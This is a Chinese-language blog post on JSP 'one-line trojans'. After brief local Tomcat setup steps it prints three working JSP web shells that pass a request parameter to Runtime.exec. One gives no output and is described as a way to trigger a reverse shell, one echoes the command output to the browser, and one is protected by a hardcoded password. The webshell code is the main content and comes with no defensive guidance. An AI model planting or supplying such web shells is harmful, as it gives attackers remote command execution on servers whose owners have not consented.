java安全——jsp一句话木马

电玩女神 2024-05-23 14:13 58阅读 0赞

## jsp回显一句话木马 ##

#### 文章目录 ####

*  jsp回显一句话木马
 *  一、搭建web服务
 *   *  1、创建空白maven项目，搭建本地tomcat
     *  2、引入servlet的pom依赖
 *  二、无回显一句话
 *  三、带回显一句话
 *  三、有密码带回显一句话

--------------------

`提示：以下是本篇文章正文内容，下面案例可供参考`

## 一、搭建web服务 ##

### 1、创建空白maven项目，搭建本地tomcat ###

![在这里插入图片描述][9a66fd5a7c17421fafc8500b03d5fd6c.png]

![在这里插入图片描述][60e11936bad143848dffd23460c86660.png]

### 2、引入servlet的pom依赖 ###

![在这里插入图片描述][61de753012f2449892106c5ea043d6c1.png]

## 二、无回显一句话 ##

<%
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    %>

http://localhost:8003/index.jsp?cmd=whoami  
不会回显执行的结果只能在后台打印一个地址，常用来反弹shell  
![在这里插入图片描述][96b347ac7f5a46638cc2659009493113.png]

## 三、带回显一句话 ##

代码如下（示例）：

<%
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    //    System.out.println(process);
        InputStream inputStream = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String line;
        while ((line = bufferedReader.readLine()) != null){
        
          response.getWriter().println(line);
        }
      %>

![在这里插入图片描述][c49f3fabf14f4a02b701e19e7a4c45e1.png]

--------------------

## 三、有密码带回显一句话 ##

<%
        if ("password".equals(request.getParameter("pass"))){
        
          Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    //    System.out.println(process);
          InputStream inputStream = process.getInputStream();
          BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
          String line;
          while ((line = bufferedReader.readLine()) != null){
        
            response.getWriter().println(line);
          }
        }
      %>

![在这里插入图片描述][de22b43c971e4decaa36deb952e6b489.png]

[9a66fd5a7c17421fafc8500b03d5fd6c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/ac3110f60ddd464b94f446e3be52a841.png
[60e11936bad143848dffd23460c86660.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/c1e759bfeedc4f308a8d2d9b28b1a3f8.png
[61de753012f2449892106c5ea043d6c1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/5acc0a6e2aa1452c8d6763c9c3c6cb6e.png
[96b347ac7f5a46638cc2659009493113.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/a14bac5ce1c947f7b621ecd2d3bdd7f7.png
[c49f3fabf14f4a02b701e19e7a4c45e1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/941879811e3042eeb460ae13312fd074.png
[de22b43c971e4decaa36deb952e6b489.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/19310b52a29e417e9e232e417aa803be.png